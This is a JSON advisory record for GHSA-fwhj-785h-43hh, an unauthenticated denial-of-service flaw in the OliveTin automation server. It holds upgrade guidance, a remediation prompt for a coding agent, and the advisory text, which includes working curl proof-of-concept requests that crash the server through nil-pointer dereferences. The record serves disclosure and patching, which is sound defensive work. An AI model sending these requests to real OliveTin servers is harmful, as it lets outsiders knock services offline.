{"answers":{"affected":"3 open source packages ship an affected version, including github.com/OliveTin/OliveTin.","exploited":"There is no known exploitation of GHSA-fwhj-785h-43hh in the wild and no public exploit code.","fix":"Upgrade github.com/OliveTin/OliveTin to 0.0.0-20260304225158-bb14c5da3e64 or later.","what":"GHSA-fwhj-785h-43hh is a vulnerability in github.com/OliveTin/OliveTin, published on 5 Mar 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-fwhj-785h-43hh and fix it if it is affected.\n\nWhat it is: GHSA-fwhj-785h-43hh is a vulnerability in github.com/OliveTin/OliveTin, published on 5 Mar 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-fwhj-785h-43hh in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- github.com/OliveTin/OliveTin (Go): affected all versions; fixed in 0.0.0-20260304225158-bb14c5da3e64\n- github.com/OliveTin/OliveTin (Go): affected all versions; fixed in 0.0.0-20260304225158-bb14c5da3e64\n- github.com/OliveTin/OliveTin (Go): affected all versions; fixed in 0.0.0-20260304225158-bb14c5da3e64\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-fwhj-785h-43hh/ (Markdown: https://insights.sbomify.com/GHSA-fwhj-785h-43hh/index.md)","id":"GHSA-fwhj-785h-43hh","markdown":"https://insights.sbomify.com/GHSA-fwhj-785h-43hh/index.md","name":"GHSA-fwhj-785h-43hh","record":{"aliases":["GO-2026-4621"],"analysis":{"component_type":"server_software","fix_type":"patch","impacts":["denial_of_service"],"network_reachable":"yes","non_default_config":false,"product_category":"OliveTin automation server","requires_auth":"none","summary":"Unauthenticated attackers can cause denial of service in OliveTin by triggering nil-pointer dereferences via invalid API calls.","user_interaction":"not_required","vuln_class":"null_dereference"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\nAn unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via `StartActionByGet` (invalid action ID), then calling `KillAction` or `RestartAction` on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (`Empty reply from server`), enabling denial of service through panic/log/CPU amplification.\n\n### Details\nThe issue is caused by this flow:\n\n  1. `StartActionByGet` accepts arbitrary `actionId` and still calls executor:\n     - `service/internal/api/api.go:239`\n\n  2. Executor stores a log entry before binding validation:\n     - `service/internal/executor/executor.go:519`\n\n  3. If binding is nil, execution stops, but the log entry remains:\n     - `service/internal/executor/executor.go:781`\n\n  4. `KillAction` dereferences `execReqLogEntry.Binding.Action` without checking `Binding`:\n     - `service/internal/api/api.go:79`\n\n  5. `RestartAction` has the same unsafe dereference:\n     - `service/internal/api/api.go:1285`\n\nBecause the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.\n\n### PoC\n  Environment:\n  - OliveTin default single frontend on `http://localhost:1337`\n  - Reproduced on `main` (commit `235493e`) and tag `3000.11.0`\n\n  1) Create orphan tracking ID with invalid action:\n  ```bash\n  T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \\\n    -H 'Content-Type: application/json' \\\n    --data '{\"actionId\":\"does-not-exist\"}' \\\n    | sed -n 's/.*\"executionTrackingId\":\"\\([^\"]*\\)\".*/\\1/p')\n  echo \"$T\"\n\n  2. Trigger panic in RestartAction:\n\n  curl -v -X POST http://localhost:1337/api/RestartAction \\\n    -H 'Content-Type: application/json' \\\n    --data \"{\\\"executionTrackingId\\\":\\\"$T\\\"}\"\n\n  3. Trigger panic in KillAction:\n\n  curl -v -X POST http://localhost:1337/api/KillAction \\\n    -H 'Content-Type: application/json' \\\n    --data \"{\\\"executionTrackingId\\\":\\\"$T\\\"}\"\n\nObserved client output:\n\n  - curl: (52) Empty reply from server\n\nObserved server log:\n\n  - panic serving ... runtime error: invalid memory address or nil pointer dereference\n  - stack points to:\n      - service/internal/api/api.go:79 (KillAction)\n      - service/internal/api/api.go:1285 (RestartAction)\n\n```\n### Impact\n\nThis is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.","ecosystems":["Go"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"OliveTin has crash on NPE by calling APIs with invalid bindings or log references","id":"GHSA-fwhj-785h-43hh","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Go","product":null,"products":[],"type":"null_dereference","year":"2026"},"n_packages":3,"n_references":null,"packages":[{"ecosystem":"Go","fixed":["0.0.0-20260304225158-bb14c5da3e64"],"introduced":["0"],"last_affected":[],"package":"github.com/OliveTin/OliveTin","purl":null,"source":"GHSA-fwhj-785h-43hh"},{"ecosystem":"Go","fixed":["0.0.0-20260304225158-bb14c5da3e64"],"introduced":["0"],"last_affected":[],"package":"github.com/OliveTin/OliveTin","purl":"pkg:golang/github.com/OliveTin/OliveTin","source":"GHSA-fwhj-785h-43hh"},{"ecosystem":"Go","fixed":["0.0.0-20260304225158-bb14c5da3e64"],"introduced":["0"],"last_affected":[],"package":"github.com/OliveTin/OliveTin","purl":"pkg:golang/github.com/OliveTin/OliveTin","source":"GO-2026-4621"}],"products":null,"published":"2026-03-05","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CC BY 4.0","name":"Go Vulnerability Database","prefix":"GO"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Unauthenticated attackers can cause denial of service in OliveTin by triggering nil-pointer dereferences via invalid API calls.","url":"https://insights.sbomify.com/GHSA-fwhj-785h-43hh/"}